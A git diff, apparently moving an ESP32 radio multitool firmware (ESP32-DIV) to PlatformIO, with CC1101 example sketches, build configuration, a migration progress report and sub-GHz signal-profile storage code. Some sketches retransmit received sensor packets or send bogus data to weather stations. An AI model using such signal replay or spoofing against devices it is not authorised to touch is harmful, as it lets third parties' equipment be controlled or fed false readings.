+++ b/lib/SmartRC-CC1101-Driver-Lib/examples/Rc-Switch examples cc1101/TypeC_Intertechno_cc1101/TypeC_Intertechno_cc1101.ino @@ -0,0 +1,70 @@ +/* + Example for Intertechno outlets + + https://github.com/sui77/rc-switch/ + https://github.com/LSatan/SmartRC-CC1101-Driver-Lib + ---------------------------------------------------------- + Mod by Little Satan. Have Fun! + ---------------------------------------------------------- +*/ +#include +#include + +int pin; // int for Transmit pin. + +RCSwitch mySwitch = RCSwitch(); + +void setup() { + Serial.begin(9600); + +#ifdef ESP32 +pin = 2; // for esp32! Transmit on GPIO pin 2. +#elif ESP8266 +pin = 5; // for esp8266! Transmit on pin 5 = D1 +#else +pin = 6; // for Arduino! Transmit on pin 6. +#endif + + if (ELECHOUSE_cc1101.getCC1101()){ // Check the CC1101 Spi connection. + Serial.println("Connection OK"); + }else{ + Serial.println("Connection Error"); + } + +//CC1101 Settings: (Settings with "//" are optional!) + ELECHOUSE_cc1101.Init(); // must be set to initialize the cc1101! +//ELECHOUSE_cc1101.setRxBW(812.50); // Set the Receive Bandwidth in kHz. Value from 58.03 to 812.50. Default is 812.50 kHz. +//ELECHOUSE_cc1101.setPA(10); // set TxPower. The following settings are possible depending on the frequency band. (-30 -20 -15 -10 -6 0 5 7 10 11 12) Default is max! + ELECHOUSE_cc1101.setMHZ(433.92); // Here you can set your basic frequency. The lib calculates the frequency automatically (default = 433.92).The cc1101 can: 300-348 MHZ, 387-464MHZ and 779-928MHZ. Read More info from datasheet. + + // Transmitter on + mySwitch.enableTransmit(pin); + + // cc1101 set Transmit on + ELECHOUSE_cc1101.SetTx(); + + // Optional set pulse length. + // mySwitch.setPulseLength(320); + +} + +void loop() { + + // Switch on: + // The first parameter represents the familycode (a, b, c, ... f) + // The second parameter represents the group number + // The third parameter represents the device number + // + // In this example it's family 'b', group #3, device #2 + mySwitch.switchOn('b', 3, 2); + + // Wait a second + delay(1000); + + // Switch off + mySwitch.switchOff('b', 3, 2); + + // Wait another second + delay(1000); + +} diff --git a/lib/SmartRC-CC1101-Driver-Lib/examples/Rc-Switch examples cc1101/TypeD_REV_cc1101/TypeD_REV_cc1101.ino b/lib/SmartRC-CC1101-Driver-Lib/examples/Rc-Switch examples cc1101/TypeD_REV_cc1101/TypeD_REV_cc1101.ino new file mode 100644 index 0000000..97e4516 --- /dev/null +++ b/lib/SmartRC-CC1101-Driver-Lib/examples/Rc-Switch examples cc1101/TypeD_REV_cc1101/TypeD_REV_cc1101.ino @@ -0,0 +1,71 @@ +/* + Example for REV outlets (e.g. 8342L) + + https://github.com/sui77/rc-switch/ + https://github.com/LSatan/SmartRC-CC1101-Driver-Lib + + Need help? http://forum.ardumote.com + ---------------------------------------------------------- + Mod by Little Satan. Have Fun! + ---------------------------------------------------------- +*/ +#include +#include + +int pin; // int for Transmit pin. + +RCSwitch mySwitch = RCSwitch(); + +void setup() { + Serial.begin(9600); + +#ifdef ESP32 +pin = 2; // for esp32! Transmit on GPIO pin 2. +#elif ESP8266 +pin = 5; // for esp8266! Transmit on pin 5 = D1 +#else +pin = 6; // for Arduino! Transmit on pin 6. +#endif + + if (ELECHOUSE_cc1101.getCC1101()){ // Check the CC1101 Spi connection. + Serial.println("Connection OK"); + }else{ + Serial.println("Connection Error"); + } + +//CC1101 Settings: (Settings with "//" are optional!) + ELECHOUSE_cc1101.Init(); // must be set to initialize the cc1101! +//ELECHOUSE_cc1101.setRxBW(812.50); // Set the Receive Bandwidth in kHz. Value from 58.03 to 812.50. Default is 812.50 kHz. +//ELECHOUSE_cc1101.setPA(10); // set TxPower. The following settings are possible depending on the frequency band. (-30 -20 -15 -10 -6 0 5 7 10 11 12) Default is max! + ELECHOUSE_cc1101.setMHZ(433.92); // Here you can set your basic frequency. The lib calculates the frequency automatically (default = 433.92).The cc1101 can: 300-348 MHZ, 387-464MHZ and 779-928MHZ. Read More info from datasheet. + + // Transmitter on + mySwitch.enableTransmit(pin); + + // cc1101 set Transmit on + ELECHOUSE_cc1101.SetTx(); + + // set pulse length. + mySwitch.setPulseLength(360); + +} + +void loop() { + + // Switch on: + // The first parameter represents the channel (a, b, c, d) + // The second parameter represents the device number + // + // In this example it's family 'd', device #2 + mySwitch.switchOn('d', 2); + + // Wait a second + delay(1000); + + // Switch off + mySwitch.switchOff('d', 2); + + // Wait another second + delay(1000); + +} diff --git a/lib/SmartRC-CC1101-Driver-Lib/examples/RemoteSensor examples cc1101/Repeater_cc1101/Repeater_cc1101.ino b/lib/SmartRC-CC1101-Driver-Lib/examples/RemoteSensor examples cc1101/Repeater_cc1101/Repeater_cc1101.ino new file mode 100644 index 0000000..4233128 --- /dev/null +++ b/lib/SmartRC-CC1101-Driver-Lib/examples/RemoteSensor examples cc1101/Repeater_cc1101/Repeater_cc1101.ino @@ -0,0 +1,87 @@ +/* + * This sketch simply repeats data received from remote weather sensors made by Cresta. + * + * Setup: + * - connect digital output of a 433MHz receiver to digital pin 2 of Arduino. + * - connect transmitter input of a 433MHz transmitter to digital pin 11 + * - An LED on pin 13 will tell you if and when a signal has been received and transmitted. + * + * Library: + * https://github.com/mattwire/arduino-dev/tree/master/libraries/RemoteSensor + * https://github.com/LSatan/SmartRC-CC1101-Driver-Lib + * + */ + +#include +#include +#include + +int LED_PIN; +int pinRx; // int for Receive pin. +int pinTx; // int for Transmit pin. + +void setup() { + +#ifdef ESP32 +pinRx = 4; pinTx = 2; // for esp32! Receiver on GPIO pin 4. Transmit on GPIO pin 2. +LED_PIN = 32; // set led on GPIO pin 32. +#elif ESP8266 +pinRx = 4; pinTx = 5; // for esp8266! Receiver on pin 4 = D2. Transmit on pin 5 = D1. +LED_PIN = 16; // set led on pin 16 = D0. +#else +pinRx = 0; pinTx = 6; // for Arduino! Receiver on interrupt 0 => that is pin #2. Transmit on pin 6. +LED_PIN = 4; // set led on pin D4. +#endif + + if (ELECHOUSE_cc1101.getCC1101()){ // Check the CC1101 Spi connection. + Serial.println("Connection OK"); + }else{ + Serial.println("Connection Error"); + } + +//CC1101 Settings: (Settings with "//" are optional!) + ELECHOUSE_cc1101.Init(); // must be set to initialize the cc1101! +//ELECHOUSE_cc1101.setRxBW(812.50); // Set the Receive Bandwidth in kHz. Value from 58.03 to 812.50. Default is 812.50 kHz. +//ELECHOUSE_cc1101.setPA(10); // set TxPower. The following settings are possible depending on the frequency band. (-30 -20 -15 -10 -6 0 5 7 10 11 12) Default is max! + ELECHOUSE_cc1101.setMHZ(433.92); // Here you can set your basic frequency. The lib calculates the frequency automatically (default = 433.92).The cc1101 can: 300-348 MHZ, 387-464MHZ and 779-928MHZ. Read More info from datasheet. + + pinMode(LED_PIN, OUTPUT); + + // Since we're not instantiating SensorTransmitter, but only use the static methods of SensorTransmitter, + // the pin mode must be set manually. + pinMode(pinTx, OUTPUT); + + // When no signal has been received, the LED is lit. + digitalWrite(LED_PIN, HIGH); + + // Init the receiver on interrupt pin 0 (digital pin 2). + // Set the callback to function "retransmit", which is called + // whenever valid sensor data has been received. + ELECHOUSE_cc1101.SetRx(); // set Receive on + SensorReceiver::init(pinRx, retransmit); +} + +void loop() { +} + +void retransmit(byte *data) { + // Data received + + // Wait a second after a receiving. There's little point for decoding and sending the same signal multiple times. + SensorReceiver::disable(); + interrupts(); // delay() requires that interrupts are enabled + delay(1000); + + // Flash LED when transmitting. + digitalWrite(LED_PIN, HIGH); + + // Transmit signal. Note: this is a static method, no object required! + ELECHOUSE_cc1101.SetTx(); // set Transmit on + SensorTransmitter::sendPackage(pinTx, data); + + digitalWrite(LED_PIN, LOW); + + noInterrupts(); + ELECHOUSE_cc1101.SetRx(); // set Receive on + SensorReceiver::enable(); +} diff --git a/lib/SmartRC-CC1101-Driver-Lib/examples/RemoteSensor examples cc1101/ThermoHygroReceiver_cc1101/ThermoHygroReceiver_cc1101.ino b/lib/SmartRC-CC1101-Driver-Lib/examples/RemoteSensor examples cc1101/ThermoHygroReceiver_cc1101/ThermoHygroReceiver_cc1101.ino new file mode 100644 index 0000000..7cf48b7 --- /dev/null +++ b/lib/SmartRC-CC1101-Driver-Lib/examples/RemoteSensor examples cc1101/ThermoHygroReceiver_cc1101/ThermoHygroReceiver_cc1101.ino @@ -0,0 +1,80 @@ +/* + * This sketch receives and decodes data from a 433MHz thermo/hygro weather sensor. + * The received data (temperature, humidity, channel) is echo + * + * Setup: + * - Connect digital output of a 433MHz receiver to digital pin 2 of Arduino + * - Enable the serial monitor at 115200 baud. + * + * Need library: + * https://github.com/mattwire/arduino-dev/tree/master/libraries/RemoteSensor + * https://github.com/LSatan/SmartRC-CC1101-Driver-Lib + * + */ +#include +#include + +int pin; + +void setup() { + Serial.begin(115200); + +#ifdef ESP32 +pin = 4; // for esp32! Receiver on GPIO pin 4. +#elif ESP8266 +pin = 4; // for esp8266! Receiver on pin 4 = D2. +#else +pin = 0; // for Arduino! Receiver on interrupt 0 => that is pin #2 +#endif + + if (ELECHOUSE_cc1101.getCC1101()){ // Check the CC1101 Spi connection. + Serial.println("Connection OK"); + }else{ + Serial.println("Connection Error"); + } + +//CC1101 Settings: (Settings with "//" are optional!) + ELECHOUSE_cc1101.Init(); // must be set to initialize the cc1101! +//ELECHOUSE_cc1101.setRxBW(812.50); // Set the Receive Bandwidth in kHz. Value from 58.03 to 812.50. Default is 812.50 kHz. +//ELECHOUSE_cc1101.setPA(10); // set TxPower. The following settings are possible depending on the frequency band. (-30 -20 -15 -10 -6 0 5 7 10 11 12) Default is max! + ELECHOUSE_cc1101.setMHZ(433.92); // Here you can set your basic frequency. The lib calculates the frequency automatically (default = 433.92).The cc1101 can: 300-348 MHZ, 387-464MHZ and 779-928MHZ. Read More info from datasheet. + ELECHOUSE_cc1101.SetRx(); // set Receive on + + // Init the receiver on interrupt pin 0 (digital pin 2). + // Set the callback to function "showTempHumi", which is called + // whenever valid sensor data has been received. + SensorReceiver::init(pin, showTempHumi); +} + +void loop() { + // Empty! However, you can do other stuff here if you like. +} + +void showTempHumi(byte *data) { + // is data a ThermoHygro-device? + if ((data[3] & 0x1f) == 0x1e) { + // Yes! + + byte channel, randomId; + int temp; + byte humidity; + + // Decode the data + SensorReceiver::decodeThermoHygro(data, channel, randomId, temp, humidity); + + // Print temperature. Note: temp is 10x the actual temperature! + Serial.print("Temperature: "); + Serial.print(temp / 10); // units + Serial.print('.'); + Serial.print(temp % 10); // decimal + + // Print humidity + Serial.print(" deg, Humidity: "); + Serial.print(humidity); + Serial.print("% REL"); + + // Print channel + Serial.print(", Channel: "); + Serial.println(channel, DEC); + } +} diff --git a/lib/SmartRC-CC1101-Driver-Lib/examples/RemoteSensor examples cc1101/ThermoHygroTransmitter_cc1101/ThermoHygroTransmitter_cc1101.ino b/lib/SmartRC-CC1101-Driver-Lib/examples/RemoteSensor examples cc1101/ThermoHygroTransmitter_cc1101/ThermoHygroTransmitter_cc1101.ino new file mode 100644 index 0000000..0ae4784 --- /dev/null +++ b/lib/SmartRC-CC1101-Driver-Lib/examples/RemoteSensor examples cc1101/ThermoHygroTransmitter_cc1101/ThermoHygroTransmitter_cc1101.ino @@ -0,0 +1,56 @@ +/* + * This sketch sends (bogus) thermo / hygro data to a remote weather sensors made by Cresta. + * + * Setup: + * - connect transmitter input of a 433MHz transmitter to digital pin 11 + * - On the weather station, activate the "scan" function for channel 1. + * + * Library: + * https://github.com/mattwire/arduino-dev/tree/master/libraries/RemoteSensor + * https://github.com/LSatan/SmartRC-CC1101-Driver-Lib + * + */ + #include + #include + + int pin; + + void setup() { + +#ifdef ESP32 +pin = 2; // for esp32! Transmit on GPIO pin 2. +#elif ESP8266 +pin = 5; // for esp8266! Transmit on pin 5 = D1 +#else +pin = 6; // for Arduino! Transmit on pin 6. +#endif + + if (ELECHOUSE_cc1101.getCC1101()){ // Check the CC1101 Spi connection. + Serial.println("Connection OK"); + }else{ + Serial.println("Connection Error"); + } + +//CC1101 Settings: (Settings with "//" are optional!) + ELECHOUSE_cc1101.Init(); // must be set to initialize the cc1101! +//ELECHOUSE_cc1101.setRxBW(812.50); // Set the Receive Bandwidth in kHz. Value from 58.03 to 812.50. Default is 812.50 kHz. +//ELECHOUSE_cc1101.setPA(10); // set TxPower. The following settings are possible depending on the frequency band. (-30 -20 -15 -10 -6 0 5 7 10 11 12) Default is max! + ELECHOUSE_cc1101.setMHZ(433.92); // Here you can set your basic frequency. The lib calculates the frequency automatically (default = 433.92).The cc1101 can: 300-348 MHZ, 387-464MHZ and 779-928MHZ. Read More info from datasheet. + ELECHOUSE_cc1101.SetTx(); // Transmitt on + } + + void loop() { + // Initializes a ThermoHygroTransmitter on pin 11, with "random" ID 0, on channel 1. + ThermoHygroTransmitter transmitter(pin, 0, 1); + + // Displays temperatures from -10 degrees Celsius to +20, + // and humidity from 10% REL to 40% REL, with increments of 2 + for (int i = -10; i<=20; i+=2) { + // Temperatures are passed at 10 times the real value, + // to avoid using floating point math. + transmitter.sendTempHumi(i * 10, i + 20); + + // Wait two seconds before sending next. + delay(2000); + } + } diff --git a/lib/SmartRC-CC1101-Driver-Lib/keywords.txt b/lib/SmartRC-CC1101-Driver-Lib/keywords.txt new file mode 100644 index 0000000..7ea359d --- /dev/null +++ b/lib/SmartRC-CC1101-Driver-Lib/keywords.txt @@ -0,0 +1,56 @@ +ELECHOUSE_CC1101_SRC_DRV KEYWORD1 +ELECHOUSE_cc1101 KEYWORD1 +Init KEYWORD2 +SpiReadStatus KEYWORD2 +SpiStrobe KEYWORD2 +SpiWriteReg KEYWORD2 +SpiWriteBurstReg KEYWORD2 +SpiReadReg KEYWORD2 +SpiReadBurstReg KEYWORD2 +setSpiPin KEYWORD2 +addSpiPin KEYWORD2 +setGDO KEYWORD2 +setGDO0 KEYWORD2 +addGDO KEYWORD2 +addGDO0 KEYWORD2 +setModul KEYWORD2 +setCCMode KEYWORD2 +setModulation KEYWORD2 +setPA KEYWORD2 +setMHZ KEYWORD2 +setRxBW KEYWORD2 +setChannel KEYWORD2 +SetTx KEYWORD2 +SetRx KEYWORD2 +getRssi KEYWORD2 +getLqi KEYWORD2 +setSres KEYWORD2 +setSidle KEYWORD2 +goSleep KEYWORD2 +SendData KEYWORD2 +CheckReceiveFlag KEYWORD2 +CheckRxFifo KEYWORD2 +CheckCRC KEYWORD2 +ReceiveData KEYWORD2 +setClb KEYWORD2 +getCC1101 KEYWORD2 +getMode KEYWORD2 +setSyncWord KEYWORD2 +setChsp KEYWORD2 +setDRate KEYWORD2 +setDeviation KEYWORD2 +setSyncMode KEYWORD2 +setAdrChk KEYWORD2 +setAddr KEYWORD2 +setWhiteData KEYWORD2 +setPktFormat KEYWORD2 +setLengthConfig KEYWORD2 +setPacketLength KEYWORD2 +setCrc KEYWORD2 +setCRC_AF KEYWORD2 +setDcFilterOff KEYWORD2 +setManchester KEYWORD2 +setFEC KEYWORD2 +setPRE KEYWORD2 +setPQT KEYWORD2 +setAppendStatus KEYWORD2 \ No newline at end of file diff --git a/lib/SmartRC-CC1101-Driver-Lib/library.json b/lib/SmartRC-CC1101-Driver-Lib/library.json new file mode 100644 index 0000000..63ef3b0 --- /dev/null +++ b/lib/SmartRC-CC1101-Driver-Lib/library.json @@ -0,0 +1,19 @@ +{ + "name": "SmartRC-CC1101-Driver-Lib", + "description": "This driver library can be used for many libraries that use a simple RF ASK module, with the advantages of the cc1101 module.It offers many direct setting options as in SmartRF Studio and calculates settings such as MHz directly.", + "keywords": "rf, radio, wireless, cc1101", + "authors": + { + "name": "Little Satan" + }, + "repository": + { + "type": "git", + "url": "https://github.com/LSatan/SmartRC-CC1101-Driver-Lib" + }, + "version": "2.5.7", + "frameworks": [ + "arduino" + ], + "platforms": "*" +} diff --git a/lib/SmartRC-CC1101-Driver-Lib/library.properties b/lib/SmartRC-CC1101-Driver-Lib/library.properties new file mode 100644 index 0000000..0d1ddb9 --- /dev/null +++ b/lib/SmartRC-CC1101-Driver-Lib/library.properties @@ -0,0 +1,10 @@ +name=SmartRC-CC1101-Driver-Lib +version=2.5.7 +author=LSatan +maintainer=LSatan +sentence=Driver for cc1101. +paragraph=This driver library can be used for many libraries that use a simple RF ASK module,with the advantages of the cc1101 module.It offers many direct setting options as in SmartRF Studio and calculates settings such as MHz directly. +category=Device Control +url=https://github.com/LSatan/SmartRC-CC1101-Driver-Lib +architectures=avr,esp8266,esp32 +includes=ELECHOUSE_CC1101_SRC_DRV.h diff --git a/platformio.ini b/platformio.ini new file mode 100644 index 0000000..d817452 --- /dev/null +++ b/platformio.ini @@ -0,0 +1,48 @@ +[platformio] +default_envs = esp32-s3-devkitc-1 +src_dir = src +include_dir = include + +[env:esp32-s3-devkitc-1] +platform = espressif32 +board = esp32-s3-devkitc-1 +framework = arduino +monitor_speed = 115200 + +build_flags = + -D USER_SETUP_LOADED=1 + -D ILI9341_DRIVER=1 + -D TFT_MISO=37 + -D TFT_MOSI=35 + -D TFT_SCLK=36 + -D TFT_CS=17 + -D TFT_DC=16 + -D TFT_RST=0 + -D TOUCH_CS=18 + -D SPI_FREQUENCY=27000000 + -D SPI_READ_FREQUENCY=20000000 + -D SPI_TOUCH_FREQUENCY=2500000 + -D LOAD_GLCD=1 + -D LOAD_FONT2=1 + -D LOAD_FONT4=1 + -D LOAD_FONT6=1 + -D LOAD_FONT7=1 + -D LOAD_FONT8=1 + -D LOAD_GFXFF=1 + -D SMOOTH_FONT=1 + +lib_deps = + bodmer/TFT_eSPI @ ^2.5.43 + xreef/PCF8574 library @ ^2.3.7 + paulstoffregen/XPT2046_Touchscreen @ 0.0.0-alpha+sha.26b691b2c8 + sui77/rc-switch @ ^2.6.4 + kosme/arduinoFFT @ ^1.6.2 + h2zero/NimBLE-Arduino @ ^1.4.1 + nrf24/RF24 @ ^1.4.8 + bblanchon/ArduinoJson @ ^7.0.4 + crankyoldgit/IRremoteESP8266 @ ^2.8.6 + +check_tool = cppcheck +check_skip_packages = yes +check_flags = + cppcheck: --enable=all --inconclusive --std=c++11 --suppress=*:*.pio/* --suppress=unusedFunction diff --git a/progress.md b/progress.md new file mode 100644 index 0000000..32b512b --- /dev/null +++ b/progress.md @@ -0,0 +1,58 @@ +# ESP32-DIV PlatformIO Migration & CI/CD Setup - Progress Report + +## 🚀 Key Achievements + +### 1. Environment Standardization (PlatformIO) +- **Migrated from Arduino IDE to PlatformIO**: Transformed the project into a professional embedded development structure. +- **Configuration**: Created `platformio.ini` specifically for `esp32-s3-devkitc-1`. +- **Dependencies**: Managed all libraries via `lib_deps` with pinned versions for stability: + - `TFT_eSPI` + - `PCF8574 library` + - `XPT2046_Touchscreen` + - `rc-switch` + - `arduinoFFT` + - `NimBLE-Arduino` + - `RF24` + - `ArduinoJson` + - `IRremoteESP8266` + +### 2. Codebase Refactoring +- **Structure**: Reorganized the project into standard `src/` and `include/` directories. +- **Entry Point**: Converted `ESP32-DIV.ino` to `src/main.cpp` for proper C++ compilation. +- **Cleanup**: Removed legacy directories (`Previous versions`, `Flash File`, etc.) and intermediate build artifacts. + +### 3. Critical Bug Fixes & Patches +- **Symbol Conflict Resolution (`spi`)**: + - **Issue**: Conflict between `TFT_eSPI` and `SmartRC-CC1101-Driver-Lib` both defining a global `spi` symbol. + - **Fix**: created a local patched version of `SmartRC-CC1101-Driver-Lib` in `lib/`, renaming the conflicting `spi` variable to `cc1101_spi_mode`. +- **Linker Error (`ieee80211_raw_frame_sanity_check`)**: + - **Issue**: Multiple definitions of `ieee80211_raw_frame_sanity_check` in the newer ESP32 Arduino Core. + - **Fix**: Commented out the duplicate definition in `src/wifi.cpp`. +- **Touchscreen Initialization**: + - **Issue**: `XPT2046_Touchscreen` library API mismatch (no `begin(SPIClass&)` method). + - **Fix**: Updated `src/Touchscreen.cpp` to use the standard `ts.begin()` and default SPI bus. +- **Missing Forward Declarations**: + - **Issue**: Compilation errors in `src/main.cpp` due to missing function prototypes. + - **Fix**: Added forward declarations for `handleButtons` and various UI submenu handlers. + +### 4. CI/CD Pipeline Implementation +- **GitHub Actions**: Created `.github/workflows/build_firmware.yml`. +- **Automated Builds**: Compiles the firmware on every `push` and `pull_request` to `main`. +- **Static Analysis**: Runs `pio check` (Cppcheck) to enforce code quality. +- **Automated Releases**: Automatically generates a GitHub Release and attaches the compiled `ESP32-DIV-v*.bin` whenever a tag starting with `v` is pushed. + +### 5. Verification +- **Compilation**: Successfully compiled `firmware.elf` and `firmware.bin` using PlatformIO. +- **Static Analysis**: Passed `pio check` with configured suppressions for external library noise. + +## 📂 New File Structure +``` +. +├── .github/workflows/build_firmware.yml # CI/CD Workflow +├── include/ # Header files (.h) +├── lib/ # Local libraries (Patched CC1101) +├── src/ # Source files (.cpp) +├── platformio.ini # Build configuration +├── progress.md # This report +└── README.md # Original documentation +``` diff --git a/ESP32-DIV/KeyboardUI.cpp b/src/KeyboardUI.cpp similarity index 100% rename from ESP32-DIV/KeyboardUI.cpp rename to src/KeyboardUI.cpp diff --git a/ESP32-DIV/SettingsStore.cpp b/src/SettingsStore.cpp similarity index 100% rename from ESP32-DIV/SettingsStore.cpp rename to src/SettingsStore.cpp diff --git a/ESP32-DIV/Theme.cpp b/src/Theme.cpp similarity index 100% rename from ESP32-DIV/Theme.cpp rename to src/Theme.cpp diff --git a/ESP32-DIV/Touchscreen.cpp b/src/Touchscreen.cpp similarity index 75% rename from ESP32-DIV/Touchscreen.cpp rename to src/Touchscreen.cpp index 224e548..bde1b8b 100644 --- a/ESP32-DIV/Touchscreen.cpp +++ b/src/Touchscreen.cpp @@ -1,28 +1,26 @@ -#include "SettingsStore.h" -#include "Touchscreen.h" - - -SPIClass touchscreenSPI = SPIClass(HSPI); -XPT2046_Touchscreen ts(XPT2046_CS); -bool feature_active = false; - -void setupTouchscreen() { - touchscreenSPI.begin(XPT2046_CLK, XPT2046_MISO, XPT2046_MOSI, XPT2046_CS); - ts.begin(touchscreenSPI); - ts.setRotation(0); -} - -extern XPT2046_Touchscreen ts; - -bool readTouchXY(int& x, int& y) { - if (!ts.touched()) return false; - TS_Point p = ts.getPoint(); - auto& s = settings(); - - const uint16_t zThresh = 500; - if (p.z < zThresh) return false; - - x = ::map(p.x, s.touchXMin, s.touchXMax, 0, TFT_WIDTH - 1); - y = ::map(p.y, s.touchYMax, s.touchYMin, 0, TFT_HEIGHT - 1); - return true; -} +#include "SettingsStore.h" +#include "Touchscreen.h" + + +XPT2046_Touchscreen ts(XPT2046_CS); +bool feature_active = false; + +void setupTouchscreen() { + ts.begin(); + ts.setRotation(0); +} + +extern XPT2046_Touchscreen ts; + +bool readTouchXY(int& x, int& y) { + if (!ts.touched()) return false; + TS_Point p = ts.getPoint(); + auto& s = settings(); + + const uint16_t zThresh = 500; + if (p.z < zThresh) return false; + + x = ::map(p.x, s.touchXMin, s.touchXMax, 0, TFT_WIDTH - 1); + y = ::map(p.y, s.touchYMax, s.touchYMin, 0, TFT_HEIGHT - 1); + return true; +} diff --git a/ESP32-DIV/bluetooth.cpp b/src/bluetooth.cpp similarity index 100% rename from ESP32-DIV/bluetooth.cpp rename to src/bluetooth.cpp diff --git a/ESP32-DIV/ducky.cpp b/src/ducky.cpp similarity index 100% rename from ESP32-DIV/ducky.cpp rename to src/ducky.cpp diff --git a/ESP32-DIV/ir.cpp b/src/ir.cpp similarity index 100% rename from ESP32-DIV/ir.cpp rename to src/ir.cpp diff --git a/ESP32-DIV/ESP32-DIV.ino b/src/main.cpp similarity index 99% rename from ESP32-DIV/ESP32-DIV.ino rename to src/main.cpp index 9e22a0b..0d3d96d 100644 --- a/ESP32-DIV/ESP32-DIV.ino +++ b/src/main.cpp @@ -11,6 +11,20 @@ #include "shared.h" #include "utils.h" +// Forward declarations +void handleButtons(); +void displayMenu(); +void displaySubmenu(); +void updateActiveSubmenu(); +void handleSettingsSubmenuButtons(); +void handleAboutPage(); +void handleWiFiSubmenuButtons(); +void handleBluetoothSubmenuButtons(); +void handleNRFSubmenuButtons(); +void handleSubGHzSubmenuButtons(); +void handleToolsSubmenuButtons(); +void handleIRSubmenuButtons(); + TFT_eSPI tft = TFT_eSPI(); diff --git a/ESP32-DIV/subghz.cpp b/src/subghz.cpp similarity index 96% rename from ESP32-DIV/subghz.cpp rename to src/subghz.cpp index af42ba5..310be57 100644 --- a/ESP32-DIV/subghz.cpp +++ b/src/subghz.cpp @@ -1,2152 +1,2152 @@ -#include -#include -#include "KeyboardUI.h" -#include "Touchscreen.h" -#include "config.h" -#include "icon.h" -#include "shared.h" - - -namespace { - static constexpr const char* SUBGHZ_DIR = "/subghz"; - static constexpr const char* SUBGHZ_EXPORT_PREFIX = "/subghz/profiles_"; - static constexpr const char* SUBGHZ_CURRENT_PATH = "/subghz/profiles_current.bin"; - static constexpr uint32_t SUBGHZ_EXPORT_MAGIC = 0x315A4753; - - struct __attribute__((packed)) SubGhzProfile { - uint32_t frequency; - uint32_t value; - uint16_t bitLength; - uint16_t protocol; - char name[16]; - }; - - static constexpr uint16_t MAX_NAME_LENGTH = 16; - static constexpr uint16_t PROFILE_SIZE = sizeof(SubGhzProfile); - - static constexpr uint16_t ADDR_VALUE = 1280; - static constexpr uint16_t ADDR_BITLEN = 1284; - static constexpr uint16_t ADDR_PROTO = 1286; - static constexpr uint16_t ADDR_FREQ = 1288; - static constexpr uint16_t ADDR_PROFILE_COUNT = 1296; - static constexpr uint16_t ADDR_PROFILE_START = 1300; - static constexpr uint16_t MAX_PROFILES = 5; - - struct __attribute__((packed)) SubGhzExportHeader { - uint32_t magic; - uint16_t version; - uint16_t count; - uint16_t profileSize; - uint16_t reserved; - }; - - static bool subghz_sd_mounted = false; - static bool subghzMountSD() { - if (subghz_sd_mounted) { - if (SD.exists("/")) return true; - subghz_sd_mounted = false; - } - - #ifdef SD_CD - pinMode(SD_CD, INPUT_PULLUP); - if (digitalRead(SD_CD)) return false; - #endif - - #ifdef SD_SCLK - #ifdef SD_MISO - #ifdef SD_MOSI - #ifdef SD_CS - SPI.begin(SD_SCLK, SD_MISO, SD_MOSI, SD_CS); - #endif - #endif - #endif - #endif - - #ifdef SD_CS - if (SD.begin(SD_CS)) { subghz_sd_mounted = true; return true; } - #endif - - #ifdef SD_CS_PIN - #ifdef CC1101_CS - if (SD_CS_PIN != CC1101_CS) { - if (SD.begin(SD_CS_PIN)) { subghz_sd_mounted = true; return true; } - } - #else - if (SD.begin(SD_CS_PIN)) { subghz_sd_mounted = true; return true; } - #endif - #endif - - return false; - } - - static bool subghzEnsureDir(const char* dirPath) { - if (!subghzMountSD()) return false; - if (SD.exists(dirPath)) return true; - if (SD.mkdir(dirPath)) return true; - if (dirPath && dirPath[0] == '/') return SD.mkdir(dirPath + 1); - return false; - } - - static void clearProfilesInEeprom() { - - uint16_t zero = 0; - EEPROM.put(ADDR_PROFILE_COUNT, zero); - SubGhzProfile empty{}; - for (uint16_t i = 0; i < MAX_PROFILES; i++) { - EEPROM.put(ADDR_PROFILE_START + (i * PROFILE_SIZE), empty); - } - EEPROM.commit(); - } - - static bool makeNextExportPath(String& outPath) { - - for (uint16_t i = 0; i < 10000; i++) { - char buf[48]; - snprintf(buf, sizeof(buf), "%s%04u.bin", SUBGHZ_EXPORT_PREFIX, (unsigned)i); - if (!SD.exists(buf)) { outPath = String(buf); return true; } - } - return false; - } - - static bool findLatestExportPath(String& outPath) { - - for (int i = 9999; i >= 0; i--) { - char buf[48]; - snprintf(buf, sizeof(buf), "%s%04u.bin", SUBGHZ_EXPORT_PREFIX, (unsigned)i); - if (SD.exists(buf)) { outPath = String(buf); return true; } - } - return false; - } - - static bool exportProfilesToSD(String& outPath, String* errOut = nullptr) { - if (!subghzEnsureDir(SUBGHZ_DIR)) { - if (errOut) *errOut = "SD not mounted"; - return false; - } - - uint16_t count = 0; - EEPROM.get(ADDR_PROFILE_COUNT, count); - if (count > MAX_PROFILES) count = MAX_PROFILES; - - if (!makeNextExportPath(outPath)) { - if (errOut) *errOut = "No free filename"; - return false; - } - - File f = SD.open(outPath.c_str(), FILE_WRITE); - if (!f) { - if (errOut) *errOut = "Open failed"; - return false; - } - - SubGhzExportHeader h{}; - h.magic = SUBGHZ_EXPORT_MAGIC; - h.version = 1; - h.count = count; - h.profileSize = PROFILE_SIZE; - h.reserved = 0; - - bool ok = (f.write((const uint8_t*)&h, sizeof(h)) == sizeof(h)); - for (uint16_t i = 0; ok && i < count; i++) { - SubGhzProfile p{}; - int addr = ADDR_PROFILE_START + (i * PROFILE_SIZE); - EEPROM.get(addr, p); - ok = (f.write((const uint8_t*)&p, sizeof(p)) == sizeof(p)); - } - f.close(); - - if (!ok && errOut) *errOut = "Write failed"; - return ok; - } - - static bool syncCurrentProfilesToSD(String* errOut = nullptr) { - - if (!subghzEnsureDir(SUBGHZ_DIR)) { - if (errOut) *errOut = "SD not mounted"; - return false; - } - - uint16_t count = 0; - EEPROM.get(ADDR_PROFILE_COUNT, count); - if (count > MAX_PROFILES) count = MAX_PROFILES; - - if (SD.exists(SUBGHZ_CURRENT_PATH)) SD.remove(SUBGHZ_CURRENT_PATH); - File f = SD.open(SUBGHZ_CURRENT_PATH, FILE_WRITE); - if (!f) { - if (errOut) *errOut = "Open failed"; - return false; - } - - SubGhzExportHeader h{}; - h.magic = SUBGHZ_EXPORT_MAGIC; - h.version = 1; - h.count = count; - h.profileSize = PROFILE_SIZE; - h.reserved = 0; - - bool ok = (f.write((const uint8_t*)&h, sizeof(h)) == sizeof(h)); - for (uint16_t i = 0; ok && i < count; i++) { - SubGhzProfile p{}; - int addr = ADDR_PROFILE_START + (i * PROFILE_SIZE); - EEPROM.get(addr, p); - ok = (f.write((const uint8_t*)&p, sizeof(p)) == sizeof(p)); - } - f.close(); - if (!ok && errOut) *errOut = "Write failed"; - return ok; - } - - static bool importProfilesFromSD(const String& path, String* errOut = nullptr) { - if 